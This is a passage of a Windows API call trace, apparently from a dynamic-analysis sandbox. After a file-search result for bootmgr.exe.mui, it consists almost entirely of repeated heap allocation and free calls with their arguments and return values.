ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.212] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.212] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.212] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.212] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.213] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.213] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.214] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.214] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.215] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.215] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.216] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.216] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.217] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.217] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.218] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.218] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.219] 